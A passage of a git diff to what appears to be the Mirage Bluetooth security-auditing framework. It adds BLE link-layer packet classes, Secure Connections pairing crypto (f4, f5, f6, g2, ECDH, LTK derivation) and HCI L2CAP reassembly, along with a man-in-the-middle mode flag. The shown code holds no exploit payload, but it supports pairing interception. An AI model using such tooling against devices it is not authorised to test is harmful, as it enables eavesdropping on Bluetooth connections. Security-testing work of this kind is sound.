BLELLCTERsp(BLELLPacket): + """ + Mirage Bluetooth Link Layer Constant Tone Extension Response Packet - Control PDU + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__(self, direction=-1): + super().__init__() + self.direction = direction + self.name = "BLE - Link Layer Constant Tone Extension Response Packet" + + def toString(self): + return "<< " + ("recv " if self.direction == 0 else "send ") + self.name + " >>" + + def getPayload(self): + return super().generatePayload([]) + + def getPayloadLength(self): + return super().calculatePayloadLength([]) + +class BLELLPhyReq(BLELLPacket): + """ + Mirage Bluetooth Link Layer PHY Request Packet - Control PDU + + :param type: tx_phys + :type type: int + :param type: rx_phys + :type type: int + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__(self, direction=-1, tx_phys=0, rx_phys=0): + super().__init__() + self.direction = direction + self.tx_phys = tx_phys + self.rx_phys = rx_phys + self.name = "BLE - Link Layer PHY Request Packet" + + def toString(self): + return ( + "<< " + + ("recv " if self.direction == 0 else "send ") + + self.name + + " | tx_phys={} | rx_phys={} >>".format(self.tx_phys, self.rx_phys) + ) + + def getPayload(self): + return super().generatePayload([self.tx_phys, self.rx_phys]) + + def getPayloadLength(self): + return super().calculatePayloadLength([self.tx_phys, self.rx_phys]) + +class BLELLPhyRsp(BLELLPacket): + """ + Mirage Bluetooth Link Layer PHY Response Packet - Control PDU + + :param type: tx_phys + :type type: int + :param type: rx_phys + :type type: int + + (Detailed description page 2895 Bluetooth Core Spec) + + """ + + def __init__(self, direction=-1, tx_phys=0, rx_phys=0): + super().__init__() + self.direction = direction + self.tx_phys = tx_phys + self.rx_phys = rx_phys + self.name = "BLE - Link Layer PHY Response Packet" + + def toString(self): + return ( + "<< " + + ("recv " if self.direction == 0 else "send ") + + self.name + + " | tx_phys={} | rx_phys={} >>".format(self.tx_phys, self.rx_phys) + ) + + def getPayload(self): + return super().generatePayload([self.tx_phys, self.rx_phys]) + + def getPayloadLength(self): + return super().calculatePayloadLength([self.tx_phys, self.rx_phys]) + +class BLELLEncCtrl(BLELLPacket): + """ + Mirage Bluetooth Link Layer Encrypted Ctrl Packet - Encrypted Control PDU + + :param type: type + :type type: int + + """ + + def __init__( + self, encData=b"", sn=-1, nesn=-1, direction=-1, encOpcode=0 + ): + super().__init__() + self.encData = encData + self.direction = direction + self.encOpcode = encOpcode + self.sn = sn + self.nesn = nesn + self.name = "BLE - Link Layer Encrypted Ctrl Packet" + + def toString(self): + return ( + "<< " + + ("recv " if self.direction == 0 else "send ") + + self.name + + " | sn={} | nesn={} | encOpcode={} | len={} >>".format( + self.sn, self.nesn, self.encOpcode, self.getPayloadLength() + ) + ) + + def getPayload(self): + return super().generatePayload([self.encData]) + + def getPayloadLength(self): + # We have to reduce one since the opcode is contained in the encData + return super().calculatePayloadLength([self.encData]) - 1 + +class BLELLEncData(BLEPacket): + """ + Mirage Bluetooth Link Layer Encrypted Data Packet - Encrypted Data PDU + + :param type: type + :type type: int + + """ + + def __init__(self, PB=2, payload=b"",length=0): + super().__init__() + self.payload = payload + self.PB = PB + self.length = length + self.name = "BLE - Encrypted Data Packet" + + def toString(self): + return "<< {} | payload={} | PB={} | length={} >>".format( + self.name, self.payload, self.PB, self.length + ) \ No newline at end of file diff --git a/mirage/libs/ble_utils/sc_crypto.py b/mirage/libs/ble_utils/sc_crypto.py new file mode 100644 index 0000000..cd7d19a --- /dev/null +++ b/mirage/libs/ble_utils/sc_crypto.py @@ -0,0 +1,558 @@ +from binascii import unhexlify +from Cryptodome.Hash import CMAC +from Cryptodome.Cipher import AES +from os import urandom +from ecdsa import ECDH, NIST256p +from mirage.libs import io +import random + + +class CryptoUtils: + @classmethod + def generateRandom(cls, size=16): + """ + This class method allows to easily generate a random value, according to the size (number of bytes) provided. + + :param size: number of bytes of the random value + :type size: int + :return: random list of bytes + :rtype: bytes + + :Example: + + >>> BLECrypto.generateRandom().hex() + 'd05c872faaef8bc959b801e4c30c0afa' + >>> BLECrypto.generateRandom(3).hex() + 'e7bbc9' + + """ + return urandom(size) + + @classmethod + def getRandomAddress(self): + parts = [] + for _ in range(6): + part = hex(random.randint(0, 255))[2:] + if len(part) == 1: + part = "0" + part + parts.append(part) + return ":".join(map(str, (parts))) + + @classmethod + def reverseOrder(cls, value): + value = unhexlify(value)[::-1] + return value + + +class BLECryptoSC: + """ + This class provides some cryptographic functions used by the Security Manager for secure connections. + + .. note:: + + """ + + @classmethod + def f4(cls, U, V, X, Z): + """ + This class method implements the security function f4 to calculate confirm values in secure connections pairing. + A calculates confirm value to send to B. + + :param U: PKax (256 bits) + :type U: bytes + :param V: PKbx (256 bits) + :type V: bytes + :param X: Na / ra / Nai for Numeric Comparison + Just Works / OOB / Passkey Entry (128 bits) + :type X: bytes + :param Z: 0 / 0 / rai for Numeric Comparison + Just Works / OOB / Passkey Entry (8 bits) + :type Z: bytes + :return: confirm value + :rtype: bytes + + .. seealso:: + + This function is described in Bluetooth Core Specification, [Vol 3] Part H, Section 2.2.6. + + """ + cmac = CMAC.new(X, ciphermod=AES) + m = U + V + Z + return cmac.update(m).digest() + + @classmethod + def f5(cls, W, N1, N2, A1, A2): + """ + This class method implements the key generation function f5 in secure connections pairing. + A calculates to send to B. + + :param W: PKax (256 bits) - DH Key + :type W: bytes + :param N1: A Nonce (128 bits) + :type N1: bytes + :param N2: B Nonce (128 bits) + :type N2: bytes + :param A1: A Address (56 bits) + :type A1: bytes + :param A2: B Address (56 bits) + :type A2: bytes + :return: Tupel (MacKey, LTK) + :rtype: bytes + + .. seealso:: + + This function is described in Bluetooth Core Specification, [Vol 3] Part H, Section 2.2.7. + + """ + SALT = unhexlify(b"6C888391AAF5A53860370BDB5A6083BE") + keyID = unhexlify(b"62746C65") + counter0 = unhexlify(b"00") + counter1 = unhexlify(b"01") + length = unhexlify(b"0100") + T = CMAC.new(SALT, ciphermod=AES) + T.update(W) + MacKey = CMAC.new(T.digest(), ciphermod=AES) + MacKey.update(counter0 + keyID + N1 + N2 + A1 + A2 + length) + LTK = CMAC.new(T.digest(), ciphermod=AES) + LTK.update(counter1 + keyID + N1 + N2 + A1 + A2 + length) + return (MacKey.digest(), LTK.digest()) + + @classmethod + def f6(cls, W, N1, N2, R, IOcap, A1, A2): + """ + This class method implements the security function f6 to calculate DH key checks in secure connections pairing. + A calculates to send to B. + + :param W: A MacKey (256 bits) + :type W: bytes + :param N1: A Nonce (128 bits) + :type N1: bytes + :param N2: B Nonce (128 bits) + :type N2: bytes + :param R: 0 / rb / rb (128 bits) + :type R: bytes + :param IOcap: A IO capabilities (24 bits) + :type IOcap: bytes + :param A1: A Address (56 bits) + :type A1: bytes + :param A2: B Address (56 bits) + :type A2: bytes + :return: DH key check + :rtype: bytes + + .. seealso:: + + This function is described in Bluetooth Core Specification, [Vol 3] Part H, Section 2.2.8. + + """ + cmac = CMAC.new(W, ciphermod=AES) + m = N1 + N2 + R + IOcap + A1 + A2 + return cmac.update(m).digest() + + @classmethod + def g2(cls, U, V, X, Y): + """ + This class method implements the security function g2 to generate the numeric comparison value in secure connections pairing. + A calculates to send to B. + + :param U: KeyX A (256 bit) + :type U: bytes + :param V: KeyX B (256 bit) + :type V: bytes + :param X: Na + :type X: bytes + :param Y: Nb + :type Y: bytes + :return: numeric comparison value + :rtype: bytes + + .. seealso:: + + This function is described in Bluetooth Core Specification, [Vol 3] Part H, Section 2.2.9. + + """ + cmac = CMAC.new(X, ciphermod=AES) + digest = cmac.update(U + V + Y).digest() + return digest[12::] + + +class SCCryptoInstance: + def __init__(self): + # ECDH instance + self.ecdh = None + # Crypto key material + self.DHKey = None + self.LTK = None + self.MacKey = None + self.keyX = None + self.keyY = None + self.remoteKeyX = None + self.remoteKeyY = None + self.localNonce = None + self.remoteNonce = None + self.localIRK = None + self.localCSRK = None + self.remoteIRK = None + self.remoteCSRK = None + + def generateDHKeyPair(self): + """ + This class method generates a BLE conform DH key pair and returns the X and Y coordiante for the public key in network byte order. + A calculates to send to B. + + :return: X and Y coordiante for the public key in network byte order + :rtype: Tupel (nwOrderPubKeyX, nwOrderPubKeyY) + + """ + if self.ecdh != None: + io.warning("ECDH instance already generated!") + return (self.keyX[::-1], self.keyY[::-1]) + else: + self.ecdh = ECDH(curve=NIST256p) + localPubKey = self.ecdh.generate_private_key() + localPubKeyX = hex(localPubKey.pubkey.point.to_affine().x())[2:] + localPubKeyY = hex(localPubKey.pubkey.point.to_affine().y())[2:] + if len(localPubKeyX) % 2 != 0: + localPubKeyX = "0" + localPubKeyX + self.keyX = unhexlify(localPubKeyX) + if len(localPubKeyY) % 2 != 0: + localPubKeyY = "0" + localPubKeyY + self.keyY = unhexlify(localPubKeyY) + nwOrderPubKeyX = CryptoUtils.reverseOrder(localPubKeyX) + nwOrderPubKeyY = CryptoUtils.reverseOrder(localPubKeyY) + return (nwOrderPubKeyX, nwOrderPubKeyY) + + def generateDHSharedSecret(self, nwOrderRemoteX, nwOrderRemoteY): + """ + This class method generates a BLE conform DH shared secret. + A calculates to send to B. + + :param U: nwOrderRemoteX (256 bits) + :type U: bytes + :param V: nwOrderPubKeyY (256 bits) + :type V: bytes + + """ + if self.DHKey != None: + io.warning("DHKey already calculated!") + else: + self.remoteKeyX = CryptoUtils.reverseOrder(nwOrderRemoteX.hex()) + self.remoteKeyY = CryptoUtils.reverseOrder(nwOrderRemoteY.hex()) + self.ecdh.load_received_public_key_bytes(self.remoteKeyX + self.remoteKeyY) + self.DHKey = self.ecdh.generate_sharedsecret_bytes() + self.nwOrderDHKey = CryptoUtils.reverseOrder(self.DHKey.hex()) + io.info("DH Key generated: {}".format(self.nwOrderDHKey.hex())) + + def generateLocalNonce(self): + """ + This class method generates a BLE conform local Nonce and returns it in network order. + + :return: nwOrderPubKeyY (128 bits) + :rtype: bytes + + """ + self.localNonce = CryptoUtils.generateRandom() + return CryptoUtils.reverseOrder(self.localNonce.hex()) + + def isSharedSecretReady(self): + """ + This class method can be used to verify that the DHKey has been successfully generated. + + :return DHKeyReady: Boolean indicating if the DHKey has been successfully generated + :rtype: Boolean + + """ + return True if self.DHKey != None else False + + def isLTKReady(self): + """ + This class method can be used to verify that the LTK (and also MacKey) has been successfully generated. + + :return: Boolean indicating if the LTK (and also MacKey) has been successfully generated + :rtype: Boolean + + """ + return True if self.LTK != None else False + + def generateConfirmValue( + self, keyX=None, remoteKeyX=None, localNonce=None, rbi=b"\x00" + ): + """ + This class method can be used to generate a confirm value. + + :param rbi: Passkey Byte + :type rbi: Byte + :return: Confirm value + :rtype: Bytes + + """ + if not (keyX and remoteKeyX and localNonce): + if self.keyX == None or self.remoteKeyX == None: + io.warning("Please first generate the DH keys") + return + if self.localNonce == None: + io.warning("Please first generate the local Nonce") + return + keyX = self.keyX + remoteKeyX = self.remoteKeyX + localNonce = self.localNonce + localConfirm = BLECryptoSC.f4(keyX, remoteKeyX, localNonce, rbi) + return CryptoUtils.reverseOrder(localConfirm.hex()) + + def verifyConfirmValue( + self, nwOrderRemoteNonce, nwOrderConfirm, keyX=None, rbi=b"\x00" + ): + """ + This class method can be used to verify that the received confirm value is correct. + + :param rbi: Passkey Byte + :type rbi: Byte + :return: Boolean indicating if the received confirm value is correct + :rtype: Boolean + + """ + if not keyX: + if self.keyX == None: + io.warning("Please first generate the DH keys") + return + keyX = self.keyX + remoteConfirm = CryptoUtils.reverseOrder(nwOrderConfirm.hex()) + remoteNonce = CryptoUtils.reverseOrder(nwOrderRemoteNonce.hex()) + localConfirm = BLECryptoSC.f4(self.remoteKeyX, keyX, remoteNonce, rbi) + return True if localConfirm == remoteConfirm else False + + def generateCompareValueInitiator(self, nwOrderRemoteNonce): + """ + This class method derives compare value for the final step of the Secure Conncetions Numeric Cmparison Pairing. + + :param nwOrderRemoteNonce: Remote Nonce in networkorder (128 bits) + :type nwOrderRemoteNonce: bytes + :return: int 6-digit compare value + :rtype: int + + """ + if not (self.keyX and self.remoteKeyX): + io.warning("Please first generate and exchange the DH keys") + return + if not self.localNonce: + io.warning("Missing local nonce for compare value generation") + return + + remoteNonce = CryptoUtils.reverseOrder(nwOrderRemoteNonce.hex()) + + return int.from_bytes( + BLECryptoSC.g2(self.keyX, self.remoteKeyX, self.localNonce, remoteNonce), + "big", + ) % (10**6) + + def generateCompareValueResponder(self, nwOrderRemoteNonce): + """ + This class method derives compare value for the final step of the Secure Conncetions Numeric Cmparison Pairing. + + :param nwOrderRemoteNonce: Remote Nonce in networkorder (128 bits) + :type nwOrderRemoteNonce: bytes + :return: int 6-digit compare value + :rtype: int + + """ + if not (self.keyX and self.remoteKeyX): + io.warning("Please first generate and exchange the DH keys") + return + if not self.localNonce: + io.warning("Missing local nonce for compare value generation") + return + + remoteNonce = CryptoUtils.reverseOrder(nwOrderRemoteNonce.hex()) + + return int.from_bytes( + BLECryptoSC.g2(self.remoteKeyX, self.keyX, remoteNonce, self.localNonce), + "big", + ) % (10**6) + + def deriveLTKInitiator( + self, + localAddress, + remoteAddress, + localAddressType, + remoteAddressType, + nwOrderRemoteNonce, + ): + """ + This class method derives the MacKey and LTK. + + :param localAddress: local device address (56 bits) + :type localAddress: bytes + :param remoteAddress: remote device address (56 bits) + :type remoteAddress: bytes + :param localAddressType: local device address type, 1 if random 0 if public + :type localAddressType: int + :param remoteAddressType: remote device address type, 1 if random 0 if public + :type remoteAddressType: int + + """ + if self.MacKey != None and self.LTK != None: + io.warning("MacKEy and LTK are already generated") + return + # The least significant bit in the most significant octet in both A and B is set to 1 if + # the address is a random address and set to 0 if the address is a public address. + # The 7 most significant bits of the most significant octet in both A and B are set to 0 + # As described in Bluetooth Core Specification, [Vol 3] Part H, Page 1633. + localAddress = localAddress.replace(":", "") + localAddress = ("01" if localAddressType else "00") + localAddress + localAddress = unhexlify(localAddress) + remoteAddress = remoteAddress.replace(":", "") + remoteAddress = ("01" if remoteAddressType else "00") + remoteAddress + remoteAddress = unhexlify(remoteAddress) + remoteNonce = CryptoUtils.reverseOrder(nwOrderRemoteNonce.hex()) + + if not self.localNonce: + io.warning("Missing local nonce for LTK generation") + return + (self.MacKey, self.LTK) = BLECryptoSC.f5( + self.DHKey, self.localNonce, remoteNonce, localAddress, remoteAddress + ) + io.info("MacKey: {}".format(self.MacKey)) + io.info("LTK: {}".format(self.LTK)) + + def deriveLTKResponder( + self, + localAddress, + remoteAddress, + localAddressType, + remoteAddressType, + nwOrderRemoteNonce, + ): + """ + This class method derives the MacKey and LTK. + + :param localAddress: local device address (56 bits) + :type localAddress: bytes + :param remoteAddress: remote device address (56 bits) + :type remoteAddress: bytes + :param localAddressType: local device address type, 1 if random 0 if public + :type localAddressType: int + :param remoteAddressType: remote device address type, 1 if random 0 if public + :type remoteAddressType: int + + """ + if self.MacKey != None and self.LTK != None: + io.warning("MacKEy and LTK are already generated") + return + # The least significant bit in the most significant octet in both A and B is set to 1 if + # the address is a random address and set to 0 if the address is a public address. + # The 7 most significant bits of the most significant octet in both A and B are set to 0 + # As described in Bluetooth Core Specification, [Vol 3] Part H, Page 1633. + localAddress = localAddress.replace(":", "") + localAddress = ("01" if localAddressType else "00") + localAddress + localAddress = unhexlify(localAddress) + remoteAddress = remoteAddress.replace(":", "") + remoteAddress = ("01" if remoteAddressType else "00") + remoteAddress + remoteAddress = unhexlify(remoteAddress) + remoteNonce = CryptoUtils.reverseOrder(nwOrderRemoteNonce.hex()) + + (self.MacKey, self.LTK) = BLECryptoSC.f5( + self.DHKey, remoteNonce, self.localNonce, remoteAddress, localAddress + ) + io.info("MacKey: {}".format(self.MacKey)) + io.info("LTK: {}".format(self.LTK)) + + def generateDHKeyCheck( + self, + localIOCap, + localAddress, + remoteAddress, + localAddressType, + remoteAddressType, + nwOrderRemoteNonce, + r=b"", + ): + """ + This class method can be used to calculate the DH Key check for second authentication stage of secure connections pairing. + + :param localIOCap: local IO capabilities (24 bits) + :type localIOCap: bytes + :param localAddress: local device address (56 bits) + :type localAddress: bytes + :param remoteAddress: remote device address (56 bits) + :type remoteAddress: bytes + :param localAddressType: local device address type, 1 if random 0 if public + :type localAddressType: int + :param remoteAddressType: remote device address type, 1 if random 0 if public + :type remoteAddressType: int + :param r: passkey (128 bits) + :type r: bytes + :return: DH Key Check in network order + :rtype: bytes + + """ + # The least significant bit in the most significant octet in both A and B is set to 1 if + # the address is a random address and set to 0 if the address is a public address. + # The 7 most significant bits of the most significant octet in both A and B are set to 0 + # As described in Bluetooth Core Specification, [Vol 3] Part H, Page 1633. + + localAddress = localAddress.replace(":", "") + localAddress = ("01" if localAddressType else "00") + localAddress + localAddress = unhexlify(localAddress) + remoteAddress = remoteAddress.replace(":", "") + remoteAddress = ("01" if remoteAddressType else "00") + remoteAddress + remoteAddress = unhexlify(remoteAddress) + remoteNonce = CryptoUtils.reverseOrder(nwOrderRemoteNonce.hex()) + r = CryptoUtils.reverseOrder((r + b"\x00" * (16 - len(r))).hex()) + + DHKeyCheck = BLECryptoSC.f6( + self.MacKey, + self.localNonce, + remoteNonce, + r, + localIOCap, + localAddress, + remoteAddress, + ) + nwOrderDHKeyCheck = CryptoUtils.reverseOrder(DHKeyCheck.hex()) + return nwOrderDHKeyCheck + + def verifyDHKeyCheck( + self, + remoteIOCap, + localAddress, + remoteAddress, + localAddressType, + remoteAddressType, + nwOrderDHKeyCheck, + nwOrderRemoteNonce, + r=b"", + ): + """ + This class method can be used to calculate the DH Key check for second authentication stage of secure connections pairing. + + :param remoteIOCap: remote IO capabilities(24 bits) + :type IOCremoteIOCapap: bytes + :param localAddress: local device address (56 bits) + :type localAddress: bytes + :param remoteAddress: remote device address (56 bits) + :type remoteAddress: bytes + :param DHKeyCheck: DH key check to validate in network order (128 bits) + :type DHKeyCheck: bytes + :param r: passkey (128 bits) + :type r: bytes + :return: Boolean indicating if the received DH Key Check is correct + :rtype: Boolean + + """ + localAddress = localAddress.replace(":", "") + localAddress = ("01" if localAddressType else "00") + localAddress + localAddress = unhexlify(localAddress) + remoteAddress = remoteAddress.replace(":", "") + remoteAddress = ("01" if remoteAddressType else "00") + remoteAddress + remoteAddress = unhexlify(remoteAddress) + DHKeyCheck = CryptoUtils.reverseOrder(nwOrderDHKeyCheck.hex()) + remoteNonce = CryptoUtils.reverseOrder(nwOrderRemoteNonce.hex()) + r = CryptoUtils.reverseOrder((r + b"\x00" * (16 - len(r))).hex()) + localDHKeyCheck = BLECryptoSC.f6( + self.MacKey, + remoteNonce, + self.localNonce, + r, + remoteIOCap, + remoteAddress, + localAddress, + ) + return True if localDHKeyCheck == DHKeyCheck else False diff --git a/mirage/libs/ble_utils/scapy_link_layers.py b/mirage/libs/ble_utils/scapy_link_layers.py index 3e57335..5a14f2f 100644 --- a/mirage/libs/ble_utils/scapy_link_layers.py +++ b/mirage/libs/ble_utils/scapy_link_layers.py @@ -19,3 +19,6 @@ class LL_ENC_RSP(Packet): XLELongField("skd",None), XLEIntField("iv",None) ] +bind_layers(BTLE_DATA, BTLE_CTRL, LLID=3) +bind_layers(BTLE_CTRL,LL_ENC_REQ,optcode=0x03) +bind_layers(BTLE_CTRL,LL_ENC_RSP,optcode=0x04) diff --git a/mirage/libs/bt.py b/mirage/libs/bt.py old mode 100644 new mode 100755 index 691ed97..bb935ea --- a/mirage/libs/bt.py +++ b/mirage/libs/bt.py @@ -8,604 +8,925 @@ from mirage.libs.bt_utils.scapy_vendor_specific import * from mirage.libs.bt_utils.hciconfig import HCIConfig from mirage.libs.bt_utils.constants import * -from mirage.libs import wireless,io,utils +from mirage.libs import wireless, io, utils -class BtHCIDevice(wireless.Device): - ''' - This device allows to communicate with an HCI Device in order to use Bluetooth protocol. - The corresponding interfaces are : ``hciX`` (e.g. "hci0") - ''' - sharedMethods = [ - "getConnections", - "switchConnection", - "getCurrentConnection", - "getAddressByHandle", - "getCurrentHandle", - "isConnected", - "setLocalName", - "getLocalName", - "getAddress", - "setAddress", - "getManufacturer", - "isAddressChangeable" - ] - - def __init__(self,interface): - super().__init__(interface=interface) - self.pendingQueue = Queue() - self.initializeBluetooth = True - - def _initBT(self): - self._enterCommandMode() - self._internalCommand(HCI_Cmd_Reset()) - self._internalCommand(HCI_Cmd_Set_Event_Mask(mask=b"\xFF\xFF\xFB\xFF\x07\xF8\xBF\x3D")) - self._internalCommand(HCI_Cmd_Write_Inquiry_Mode(inquiry_mode=0x02)) - self._internalCommand(HCI_Cmd_Connect_Accept_Timeout()) - self._exitCommandMode() - - def init(self): - ''' - This method initializes the communication with the HCI Device. - ''' - self.isListening = False - self.commandMode = False - self.currentHandle = -1 - self.handles = [] - self.recvLock = Lock() - self.commandResponses = Queue() - self.ready = False - if "hci" == self.interface[0:3]: - self.adapter = int(self.interface[3:]) - if self._createSocket() and self.initializeBluetooth: - self._initBT() - - def _createSocket(self): - self.socket = None - try: - self.socket = BluetoothUserSocket(self.adapter) - except BluetoothSocketError as e: - if not utils.isRoot(): - io.warning("Mirage should be run as root to instanciate this device !") - return False - else: - HCIConfig.down(self.adapter) - try: - self.socket = BluetoothUserSocket(self.adapter) - except BluetoothSocketError as e: - io.fail("Error during HCI device instanciation !") - return False - if self.socket is not None: - io.success("HCI Device ("+self.interface+") successfully instanciated !") - self.ready = True - return True - return False - - def isUp(self): - return self.ready - - def send(self,data): - ''' - This method allows to send raw HCI packet to the HCI device. - ''' - self.socket.send(data) - - def _recv(self): - if not self.pendingQueue.empty(): - recv = self.pendingQueue.get(block=True) - else: - self.recvLock.acquire() - recv = self.socket.recv() - self.recvLock.release() - return recv - - - def recv(self): - ''' - This method allows to receive raw HCI packets from the HCI device. - ''' - self._enterListening() - try: - if self.socket is not None and self.socket.fileno() != -1 and self.socket.readable(): - packet = self._recv() - #packet.show() - if self._commandModeEnabled() and packet.type == 0x04: - self.commandResponses.put(packet) - return None - else: - self._exitListening() - return packet - - else: - self._exitListening() - utils.wait(seconds=0.0001) - return None - # An error may occur during a socket restart - except OSError as e: - self._exitListening() - return None - - - def _internalCommand(self,cmd,noResponse=False): - cmd = HCI_Hdr()/HCI_Command_Hdr()/cmd - while not self._commandModeEnabled(): - utils.wait(seconds=0.05) - self._flushCommandResponses() - - self.send(cmd) - if not noResponse: - if self._isListening(): - getResponse = self.commandResponses.get - else: - getResponse = self._recv - response = getResponse() - #response.show() - while response is None or response.type != 0x04 or response.code != 0xe: - response = getResponse() - if response.type == 0x04 and response.code == 0xe and response.opcode == cmd.opcode: - if response.status != 0: - raise BluetoothCommandError("Command %x failed with %x" % (cmd.opcode,response.status)) - return response - def _enterCommandMode(self): - self.commandMode = True - def _exitCommandMode(self): - self.commandMode = False - def _commandModeEnabled(self): - return self.commandMode - - def _enterListening(self): - self.isListening = True - def _exitListening(self): - self.isListening = False - def _isListening(self): - return self.isListening - - def _flushCommandResponses(self): - while not self.commandResponses.empty(): - self.commandResponses.get() - if self.socket is not None: - self.socket.flush() - - - def getCurrentHandle(self): - ''' - This method returns the connection Handle actually in use. - If no connection is established, its value is equal to -1. - - :return: connection Handle - :rtype: int - - .. note:: - - This method is a **shared method** and can be called from the corresponding Emitters / Receivers. - - ''' - return self.currentHandle - - def getConnections(self): - ''' - This method returns a list of couple (connection handle / address) representing the connections actually established. - A connection is described by a dictionary containing an handle and a BD address : ``{"handle":72, "address":"AA:BB:CC:DD:EE:FF"}`` - - :return: list of connections established - :rtype: list of dict - - :Example: - - >>> device.getConnections() - [{'handle':72, 'address':'AA:BB:CC:DD:EE:FF'},{'handle':73, 'address':'11:22:33:44:55:66'}] - - .. note:: - - This method is a **shared method** and can be called from the corresponding Emitters / Receivers. - - ''' - return self.handles - - def getAddressByHandle(self,handle): - ''' - This method returns the BD address associated to the provided connection handle if a corresponding connection is established. If no connection uses this handle, it returns `None`. - - :param handle: connection handle - :type handle: int - :return: address of the corresponding connection - :rtype: str - - :Example: - - >>> device.getAddressByHandle(72) - 'AA:BB:CC:DD:EE:FF' - >>> device.getAddressByHandle(4) - None - - .. note:: - - This method is a **shared method** and can be called from the corresponding Emitters / Receivers. - - ''' - for connection in self.handles: - if connection['handle'] == handle: - return connection['address'] - return None - - def getCurrentConnection(self): - ''' - This method returns the BD address associated to the current connection. If no connection is established, it returns None. - - :return: address of the current connection - :rtype: str - :Example: - - >>> device.getCurrentConnection() - 'AA:BB:CC:DD:EE:FF' - >>> device.send(HCI_Hdr()/HCI_Command_Hdr()/HCI_Cmd_Disconnect()) - >>> device.getCurrentConnection() - None - - .. note:: - - This method is a **shared method** and can be called from the corresponding Emitters / Receivers. +class BtHCIDevice(wireless.Device): + """ + This device allows to communicate with an HCI Device in order to use Bluetooth protocol. + The corresponding interfaces are : ``hciX`` (e.g. "hci0") + """ + + sharedMethods = [ + "getConnections", + "switchConnection", + "getCurrentConnection", + "getAddressByHandle", + "getCurrentHandle", + "isConnected", + "setLocalName", + "getLocalName", + "getAddress", + "setAddress", + "getManufacturer", + "isAddressChangeable", + "enableMitM" + ] + + def __init__(self, interface): + super().__init__(interface=interface) + self.pendingQueue = Queue() + self.initializeBluetooth = True + + def _initBT(self): + self._enterCommandMode() + self._internalCommand(HCI_Cmd_Reset()) + self._internalCommand( + HCI_Cmd_Set_Event_Mask(mask=b"\xFF\xFF\xFB\xFF\x07\xF8\xBF\x3D") + ) + self._internalCommand(HCI_Cmd_Write_Inquiry_Mode(inquiry_mode=0x02)) + self._internalCommand(HCI_Cmd_Connect_Accept_Timeout()) + self._exitCommandMode() + + def init(self): + """ + This method initializes the communication with the HCI Device. + """ + self.isListening = False + self.commandMode = False + self.currentHandle = -1 + self.handles = [] + self.recvLock = Lock() + self.commandResponses = Queue() + self.ready = False + if "hci" == self.interface[0:3]: + self.adapter = int(self.interface[3:]) + if self._createSocket() and self.initializeBluetooth: + self._initBT() + # For reassembly + self.l2CapLen = -1 + self.l2CapCid = -1 + self.l2CapPayload = "" + + # Custom flag for zephyr MITM mode + self.mitm = False + + def _createSocket(self): + self.socket = None + try: + self.socket = BluetoothUserSocket(self.adapter) + except BluetoothSocketError as e: + if not utils.isRoot(): + io.warning( + "Mirage should be run as root to instanciate this device !") + return False + else: + HCIConfig.down(self.adapter) + try: + self.socket = BluetoothUserSocket(self.adapter) + except BluetoothSocketError as e: + io.fail("Error during HCI device instanciation !") + return False + if self.socket is not None: + io.success( + "HCI Device (" + self.interface + + ") successfully instanciated !" + ) + self.ready = True + return True + return False + + def isUp(self): + return self.ready + + def send(self, data): + """ + This method allows to send raw HCI packet to the HCI device. + """ + # Check if packet must be assembled + if HCI_ACL_Hdr in data and len(data.getlayer(HCI_ACL_Hdr)) > 27: + payloadToSend = b'' + if L2CAP_Hdr in data: + l2CapHdr = data.getlayer(L2CAP_Hdr) + l2CapLen = len(l2CapHdr.payload) + l2CapHdr.len = l2CapLen + payloadToSend = raw(l2CapHdr) + else: + aclHdr = data.getlayer(HCI_ACL_Hdr) + payloadToSend = raw(aclHdr.payload) + + first = True + while len(payloadToSend) > 0: + currPacketLen = 27 if len( + payloadToSend) > 27 else len(payloadToSend) + packet = HCI_Hdr() / HCI_ACL_Hdr() + if first: + first = False + packet.PB = 0x0 + else: + packet.PB = 0x1 + packet.len = currPacketLen + packet.add_payload(payloadToSend[:currPacketLen]) + self.socket.send(packet) + payloadToSend = payloadToSend[currPacketLen:] + else: + try: + self.socket.send(data) + except: + data.show() + + def _recv(self): + if not self.pendingQueue.empty(): + recv = self.pendingQueue.get(block=True) + else: + self.recvLock.acquire() + recv = self.socket.recv() + self.recvLock.release() + return recv + + def recv(self): + """ + This method allows to receive raw HCI packets from the HCI device. + """ + self._enterListening() + try: + if ( + self.socket is not None + and self.socket.fileno() != -1 + and self.socket.readable() + ): + packet = self._recv() + # If mitm mode with nRF zephyr controller is used. + if (packet.type == 0x02 and self.mitm): + return packet + # Packet reassembly for ACL Data Packets + # Check if ACL Data Packet + # and (PB == 0x02 or PB == 0x00) automatical and non-automatical flushable packet + # Since 0x1b is max length of ACL Data packet + # continuing fragment is possible + elif ( + packet.type == 0x02 + # and packet.len == 0x1B + and (packet.PB == 0x02 or packet.PB == 0x00) + and packet.haslayer(L2CAP_Hdr) + ): + tmpL2CAPHdr = packet.getlayer(L2CAP_Hdr) + # Check length of payload, if already complete + if tmpL2CAPHdr.len == len(tmpL2CAPHdr.payload): + self._exitListening() + return packet + # Save first fragment for reassembly + else: + self.l2CapLen = tmpL2CAPHdr.len + self.l2CapCid = tmpL2CAPHdr.cid + self.l2CapPayload = raw(tmpL2CAPHdr.payload) + return None + # Check if ACL Data packet with PB flag set to 0x01, + # if true packet is continuing fragment + elif ( + packet.type == 0x02 + and packet.PB == 0x01 + and self.l2CapLen != -1 + and packet.haslayer(L2CAP_Hdr) + ): + self.l2CapPayload += raw(packet.getlayer(HCI_ACL_Hdr).payload) + + # Check length of payload, if already complete + if self.l2CapLen == len(self.l2CapPayload): + self._exitListening() + tmpPkt = ( + HCI_Hdr() + / HCI_ACL_Hdr() + # Remove one for the opcode byte + / L2CAP_Hdr(len=self.l2CapLen - 1, cid=self.l2CapCid) + ) + if self.l2CapCid == 0x06: + tmpPkt /= SM_Hdr(self.l2CapPayload) + elif self.l2CapCid == 0x04: + tmpPkt /= ATT_Hdr(self.l2CapPayload) + else: + tmpPkt /= L2CAP_CmdHdr(self.l2CapPayload) + self.l2CapLen = -1 + self.l2CapCid = -1 + self.l2CapPayload = "" + return tmpPkt + else: + return None + else: + if self._commandModeEnabled() and packet.type == 0x04: + self.commandResponses.put(packet) + return None + else: + self._exitListening() + return packet + + else: + self._exitListening() + utils.wait(seconds=0.0001) + return None + # An error may occur during a socket restart + except OSError as e: + self._exitListening() + return None + + def _internalCommand(self, cmd, noResponse=False): + cmd = HCI_Hdr() / HCI_Command_Hdr() / cmd + while not self._commandModeEnabled(): + utils.wait(seconds=0.05) + self._flushCommandResponses() + + self.send(cmd) + if not 